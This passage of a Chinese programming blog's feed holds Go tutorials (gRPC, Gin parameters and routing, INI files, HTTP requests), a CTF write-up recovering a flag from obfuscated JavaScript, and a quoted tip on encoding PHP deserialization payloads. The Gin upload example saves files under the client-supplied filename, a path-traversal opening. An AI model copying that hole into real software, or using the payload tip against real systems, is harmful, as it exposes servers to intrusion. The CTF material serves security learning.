private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili

]]>
0 https://blog.boychai.xyz/index.php/archives/67/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[代码审计]攻防世界-simple_js https://blog.boychai.xyz/index.php/archives/65/ https://blog.boychai.xyz/index.php/archives/65/ Sun, 08 Oct 2023 01:26:00 +0000 BoyChai 题目叫做simple_js,题目描述为

小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

打开网页之后是一个输入密码的框,自己随便输入点内容页面显示FAUX PASSWORD HAHA,自己肯定时没密码的,直接看源代码,核心代码如下

function dechiffre(pass_enc){
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab  = pass_enc.split(',');
            var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                    k = j + (l) + (n=0);
                    n = tab2.length;
                    for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                            if(i == 5)break;}
                    for(i = (o=0); i < (k = j = n); i++ ){
                    o = tab[i-l];
                            if(i > 5 && i < k-1)
                                    p += String.fromCharCode((o = tab2[i]));
                    }
    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

上面定义了一个dechiffre(pass_enc)的函数,String["fromCharCode"](dechifre("xxx"))这个是把ASCII内容转换成字符串。剩下的就是打开页面之后都会出现的内容,参考意义不大,这里直接分析上面的这个函数
函数里面先定义了一个pass,内容如下

70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65

大概率就是ASCII码,之后又定义了一个tab,内容如下

var tab  = pass_enc.split(',');

pass_enc是传入的值,通过split(',')进行切割,现在tab是一个数组,之后定义了一个tab2,内容如下

var tab2 = pass.split(',');

对pass进行分割现在tab2也是个数组,之后定义了其他的一些变量,如下

var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);n = tab2.length;

这里真是懵,最开始看的时候以为i,j,k,l都是0,一想不对。。。
最开始ijkmno都应该是undefined
之后i又被赋值了0,j被赋值了tab变量的长度,最后就是
k,m,oundefined之后i=0l=0p=""j=tab.lengthk=tab.lengthn=tab2.length,赋完值之后进行了一个for循环,代码如下

for(i = (o=0); i < (k = j = n); i++ ){
    o = tab[i-l];
    p += String.fromCharCode((o = tab2[i]));
    if(i == 5)break;
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
//    o=tab[i];  
    p += String.fromCharCode(tab2[i]);
    if(i==5)break;
}

p += String.fromCharCode(tab2[i]);这段主要是这个代码,之后又经过了一个for循环,代码如下

for(i = (o=0); i < (k = j = n); i++ ){
    o = tab[i-l];
    if(i > 5 && i < k-1)
    p += String.fromCharCode((o = tab2[i]));
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
//    o = tab[i]
    if (i>5&&i<(tab.length-1))p + = String.fromCharCode(tab2[i]);
}

p += String.fromCharCode(tab2[i]);这段主要是这个代码,和上段基本一样,方法最后返回下面内容

    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;

他把tab2的第17个值转换成了字符串,并返回了p,这代码这是在闹着玩,弄到底也没处理传入的值,我服了😅,这代码的主要的作用就是把上面的ASCII转换成字符,直接转换pass变量发现内容为FAUX PASSWORD HAHA,看样子知道题目的答案就是把传入函数的那传Hex编码转换成字符串

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

转换之后变成这样

55,56,54,79,115,69,114,116,107,49,50

转换成字符串变成这样

786OsErtk12

这道题目的答案即

Cyberpeace{786OsErtk12}
]]>
0 https://blog.boychai.xyz/index.php/archives/65/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[Go]gRPC-介绍 https://blog.boychai.xyz/index.php/archives/55/ https://blog.boychai.xyz/index.php/archives/55/ Tue, 09 May 2023 14:54:00 +0000 BoyChai gRPC是一款语言中立、平台中立、开源的远程过程调用系统,gRPC客户端和服务端可以在多种环境中运行和交互。,例如用java写一个服务端,可以用go语言写客户端调用。

数据在进行网络传输的时候,需要进行序列化,序列化协议有很多种,比如xml、json、protobuf等。

gRPC默认应用使用protocol buffers,这是google开源的一套成熟的结构数据序列化机制。

序列化: 将数据结构或对象转换成二进制串的过程。

反序列化: 将在虚拟化过程中所生产的二进制串转换成数据结构或对象的过程。

参考资料

]]>
0 https://blog.boychai.xyz/index.php/archives/55/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[Go]GIN框架-请求参数 https://blog.boychai.xyz/index.php/archives/49/ https://blog.boychai.xyz/index.php/archives/49/ Fri, 27 Jan 2023 14:53:00 +0000 BoyChai Get请求参数

普通参数

请求

http://localhost:8080/query?id=123&name=user

接收

第一种方式

r.GET("/query", func(context *gin.Context) {
    // 获取传参
    id := context.Query("id")
    name := context.Query("name")
    // 设置某个参数的默认值
    sex := context.DefaultQuery("sex", "unknown")
    // 检查address值是否传入
    address, ok := context.GetQuery("address")
    context.JSON(http.StatusOK, gin.H{
        "id":         id,
        "name":       name,
        "sex":        sex,
        "address":    address,
        "address-ok": ok,
    })
})

第二种方式

提前定义结构体

// 定义结构体需要表示form名称,如果不标识则传参时key必须和结构体的对应的值一样比如Id就必须传入Id,id是不行的
type User struct {
    Id      int64  `form:"id"'`
    Name    string `form:"name"`
    Sex     string `form:"sex"`
    // binding是指传参必须拥有此参数
    Address string `form:"address" binding:"required"'`
}
r.GET("/query", func(context *gin.Context) {
    var user User
    err := context.BindQuery(&user)
    if err != nil {
        log.Println(err)
    }
    context.JSON(http.StatusOK, gin.H{
        "id":      user.Id,
        "name":    user.Name,
        "sex":     user.Sex,
        "address": user.Address,
    })
})

第三种方式

提前定义结构体

// 定义结构体需要表示form名称,如果不标识则传参时key必须和结构体的对应的值一样比如Id就必须传入Id,id是不行的
type User struct {
    Id      int64  `form:"id"'`
    Name    string `form:"name"`
    Sex     string `form:"sex"`
    // binding是指传参必须拥有此参数
    Address string `form:"address" binding:"required"'`
}
r.GET("/query", func(context *gin.Context) {
    var user User
    err := context.ShouldBindQuery(&user)
    if err != nil {
        log.Println(err)
    }
    context.JSON(http.StatusOK, gin.H{
        "id":      user.Id,
        "name":    user.Name,
        "sex":     user.Sex,
        "address": user.Address,
    })
})

返回值

第一种方式

状态码200

{
    "address": "",
    "address-ok": false,
    "id": "123",
    "name": "user",
    "sex": "unknown"
}

第二种方式

状态码400

后台会报:

2023/01/27 22:18:55 Key: 'User.Address' Error:Field validation for 'Address' failed on the 'required' tag
[GIN-debug] [WARNING] Headers were already written. Wanted to override status code 400 with 200
{
    "address": "",
    "id": 123,
    "name": "user",
    "sex": ""
}

第三种方式

状态码200

后台会报:

2023/01/27 22:19:33 Key: 'User.Address' Error:Field validation for 'Address' failed on the 'required' tag
{
    "address": "",
    "id": 123,
    "name": "user",
    "sex": ""
}

数组参数

请求

http://localhost:8080/query?address=beijing&address=qingdao

接收

第一种方式

r.GET("/query", func(context *gin.Context) {
    address := context.QueryArray("address")
    context.JSON(http.StatusOK, address)
})

第二种方式

提前定义结构体

type Address struct {
    Address []string `form:"address"`
}
r.GET("/query", func(context *gin.Context) {
    var address Address
    err := context.BindQuery(&address)
    if err != nil {
        log.Println(err)
    }
    context.JSON(http.StatusOK, address)
})

第三种方式

提前定义结构体

type Address struct {
    Address []string `form:"address"`
}
r.GET("/query", func(context *gin.Context) {
    var address Address
    err := context.ShouldBindQuery(&address)
    if err != nil {
        log.Println(err)
    }
    context.JSON(http.StatusOK, address)
})

返回值

第一种方式

状态码200

[
    "beijing",
    "qingdao"
]

第二种方式

状态码200

{
    "Address": [
        "beijing",
        "qingdao"
    ]
}

第三种方式

状态码200

{
    "Address": [
        "beijing",
        "qingdao"
    ]
}

map参数

请求

http://localhost:8080/query?addressMap[home]=beijing&addressMap[company]=qingdao

接收

r.GET("/query", func(context *gin.Context) {
    addressMap := context.QueryMap("addressMap")
    context.JSON(http.StatusOK, addressMap)
})

返回值

状态码200

{
    "company": "qingdao",
    "home": "beijing"
}

POST请求

post请求一般是表单参数和json参数

表单请求

请求

http://localhost:8080/query

form-data

id=123
name=user
address=beijing
address=qingdao
addressMap[home]=beijing
addressMap[company]=qingdao

接收

r.POST("/query", func(context *gin.Context) {
    id := context.PostForm("id")
    name := context.PostForm("name")
    address := context.PostFormArray("address")
    addressMap := context.PostFormMap("addressMap")
    context.JSON(http.StatusOK, gin.H{
        "id":         id,
        "name":       name,
        "address":    address,
        "addressMap": addressMap,
    })
})

PS:

接收也可以使用func (c *gin.Context) ShouldBind(obj any) error {}函数进行接收和上面get讲的差不多一样这里不再讲解

返回值

状态码200

{
    "address": [
        "beijing",
        "qingdao"
    ],
    "addressMap": {
        "company": "qingdao",
        "home": "beijing"
    },
    "id": "123",
    "name": "user"
}

JSON请求

请求

http://localhost:8080/query

raw or json

{
    "address": [
        "beijing",
        "qingdao"
    ],
    "addressMap": {
        "company": "qingdao",
        "home": "beijing"
    },
    "id": 123,
    "name": "user",
    "sex":"Male"
}

接收

定义结构体,接收json数据结构体不需要加form表示,接收时会自动把Name转换为name进行匹配接收或者添加json的标识进行匹配

type User struct {
    Id         int64              `json:"id"`
    Name       string            
    Sex        string            
    Address    []string          
    AddressMap map[string]string 
}
    r.POST("/query", func(context *gin.Context) {
        var user User
        err := context.ShouldBindJSON(&user)
        if err != nil {
            log.Println(err)
        }
        context.JSON(http.StatusOK, user)
    })

返回值

状态码200

{
    "Id": 123,
    "Name": "user",
    "Sex": "Male",
    "Address": [
        "beijing",
        "qingdao"
    ],
    "AddressMap": {
        "company": "qingdao",
        "home": "beijing"
    }
}

文件请求

代码实现

r.POST("/save", func(context *gin.Context) {
   form, err := context.MultipartForm()
   if err != nil {
      log.Println(err)
   }
   for _, fileArray := range form.File {
      for _, v := range fileArray {
         context.SaveUploadedFile(v, "./"+v.Filename)
      }
   }
   context.JSON(http.StatusOK, form.Value)
})

context.MultipartForm()返回的from里面有俩值,一个是文件数组,还有一个是提交的参数。上传好的文件会被context.SaveUploadedFile保存到本地

]]>
0 https://blog.boychai.xyz/index.php/archives/49/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[Go]GIN框架-路由 https://blog.boychai.xyz/index.php/archives/48/ https://blog.boychai.xyz/index.php/archives/48/ Thu, 19 Jan 2023 14:55:00 +0000 BoyChai 路由概述

路由(Routing)是由一个 URI(或者叫路径)和一个特定的 HTTP 函数(GET、POST 等)组成的,涉及到应用如何响应客户端对某个网站节点的访问。

RESTful API

RESTful API 是目前比较成熟的一套互联网应用程序的 API 设计理论,所以我们设计我们的路由的时候建议参考 RESTful API 指南。

在 RESTful 架构中,每个网址代表一种资源,不同的请求方式表示执行不同的操作:

请求方式操作
GET(SELECT)从服务器中获取资源
POST(CREATE)在服务器中创建资源
PUT(UPDATE)在服务器中更新更改资源
DELETE(DELETE)在服务器中删除资源

创建路由

GET

// GET
r.GET("/GET", func(c *gin.Context) {
    c.String(http.StatusOK, "GET")
})

POST

// POST
r.POST("/POST", func(c *gin.Context) {
    c.String(http.StatusOK, "POST")
})

PUT

// PUT
r.PUT("/PUT", func(c *gin.Context) {
    c.String(http.StatusOK,"PUT")
})

DELETE

// DELETE
r.DELETE("/DELETE", func(c *gin.Context) {
    c.String(http.StatusOK, "DELETE")
})

其他创建方法

所有类型

如果同一个地址想要所有类型的请求都支持使用那么可以通过下面代码进行创建

// 接收所有类型请求
r.Any("/Any", func(c *gin.Context) {
    c.String(http.StatusOK, "Any")
})

两个或多个

// 先创建一个方法
func requestReturn(c *gin.Context) {
    c.String(http.StatusOK, "OTHER")
}
// 在创建请求URL
r.GET("/OTHER", requestReturn)
r.POST("/OTHER", requestReturn)

URI

静态URI

r.GET("/user/find", func(c *gin.Context) {
    c.String(http.StatusOK, "any")
})

路径参数

r.GET("/user/find/:id", func(c *gin.Context) {
    c.String(http.StatusOK, c.Param("id"))
})

模糊参数

// 使用path来接收值
r.GET("/user/*path", func(c *gin.Context) {
    c.String(http.StatusOK, c.Param("path"))
})

路由分组

在实际开发中,路由可能会有很多的版本,为了方便开发管理可以使用以下方法进行分组创建

// 路由分组
v1 := r.Group("v1")
v2 := r.Group("v2")
v1.GET("/user/find", func(c *gin.Context) {
    c.String(http.StatusOK, "/v1/user/find")
})
v2.GET("/user/find", func(c *gin.Context) {
    c.String(http.StatusOK, "/v2/user/find")
})
]]>
0 https://blog.boychai.xyz/index.php/archives/48/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[Go]读取INI配置文件 https://blog.boychai.xyz/index.php/archives/43/ https://blog.boychai.xyz/index.php/archives/43/ Mon, 12 Dec 2022 15:03:00 +0000 BoyChai INI

INI文件是Initialization File的缩写,意思为"配置文件;初始化文件;",以节(section)和键(key)构成,常用于微软Windows操作系统中。这种配置文件的文件扩展名多为INI,故名。

环境

在主程序文件目录下创建"my.ini"文件内容如下

app_mode = development

[paths]
data = /home/git/grafana

[server]
protocol = http
http_port = 9999
enforce_domain = true

开始使用

package main

import (
    "fmt"
    "github.com/go-ini/ini"
)

func main() {
    // 读取配置文件
    cfg, err := ini.Load("my.ini")
    if err != nil {
        panic(err)
    }
    //读取
    //读取app_mode
    fmt.Println("app_mode:", cfg.Section("").Key("app_mode"))
    //读取paths.data
    fmt.Println("paths.data:", cfg.Section("paths").Key("data").String())
    //读取server.protocol并限制值
    //如果没有值或值错误则使用"http"
    fmt.Println("server.protocol:", cfg.Section("server").Key("protocol").In("http", []string{"http", "https"}))
    //读取时进行类型转换,MustInt()可以存放默认值,如果转换失败则使用里面的值
    fmt.Printf("Port Number: (%[1]T) %[1]d\n", cfg.Section("server").Key("http_port").MustInt())

    //修改
    //修改app_mode的值为production
    cfg.Section("").Key("app_mode").SetValue("production")
    //修改完毕写入"my.ini.local"文件
    cfg.SaveTo("my.ini.local")
}
]]>
0 https://blog.boychai.xyz/index.php/archives/43/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/
[Go]发送GET、POST、DELETE、PUT请求 https://blog.boychai.xyz/index.php/archives/42/ https://blog.boychai.xyz/index.php/archives/42/ Wed, 07 Dec 2022 14:45:00 +0000 BoyChai GET请求
func main() {
    // 发送请求
    r, err := http.Get("https://www.baidu.com?name=boychai&age=18")
    // 检查错误
    if err != nil {
        panic(err)
    }
    // 释放
    defer func() { _ = r.Body.Close() }()
    //读取请求内容
    content, err := ioutil.ReadAll(r.Body)
    if err != nil {
        panic(err)
    }
    fmt.Println(string(content))
}

POST请求

func main() {
    // 发送请求
    r, err := http.Post("https://www.baidu.com", "", nil)
    // 检查错误
    if err != nil {
        panic(err)
    }
    // 释放
    defer func() { _ = r.Body.Close() }()
    //读取请求内容
    content, err := ioutil.ReadAll(r.Body)
    if err != nil {
        panic(err)
    }
    fmt.Println(string(content))
}

提交FROM表单

func main() {
    // from data 形式类似于 name=boychai&age=18
    data := make(url.Values)
    data.Add("name", "boychai")
    data.Add("age", "18")
    payload := data.Encode()
    // 发送请求
    r, err := http.Post("https://httpbin.org/post", "application/x-www-form-urlencoded", strings.NewReader(payload))
    defer func() { _ = r.Body.Close() }()
    if err != nil {
        print(err)
    }
    //读取
    content, err := ioutil.ReadAll(r.Body)
    fmt.Println(string(content))
}

提交JSON数据

func main() {
    u := struct {
        Name string `json:"name"`
        Age  string `json:"age"`
    }{
        Name: "BoyChai",
        Age:  "18",
    }
    payload, _ := json.Marshal(u)
    // 发送请求
    r, err := http.Post("https://httpbin.org/post", "application/json", bytes.NewReader(payload))
    defer func() { _ = r.Body.Close() }()
    if err != nil {
        print(err)
    }
    //读取
    content, err := ioutil.ReadAll(r.Body)
    fmt.Println(string(content))
}

DELETE请求

func main() {
    // 创建请求对象
    request, err := http.NewRequest(http.MethodDelete, "https://www.baidu.com", nil)
    if err != nil {
        panic(err)
    }
    // 发送请求
    r, err := http.DefaultClient.Do(request)
    defer func() { _ = r.Body.Close() }()
    if err != nil {
        panic(err)
    }
    // 读取
    content, err := ioutil.ReadAll(r.Body)
    fmt.Println(string(content))
}

PUT请求

func main() {
    // 创建请求对象
    request, err := http.NewRequest(http.MethodPut, "https://www.baidu.com", nil)
    if err != nil {
        panic(err)
    }
    // 发送请求
    r, err := http.DefaultClient.Do(request)
       defer func() { _ = r.Body.Close() }()
    if err != nil {
        panic(err)
    }
    // 读取
    content, err := ioutil.ReadAll(r.Body)
    fmt.Println(string(content))
}
]]>
0 https://blog.boychai.xyz/index.php/archives/42/#comments https://blog.boychai.xyz/index.php/feed/category/%E7%BC%96%E7%A8%8B/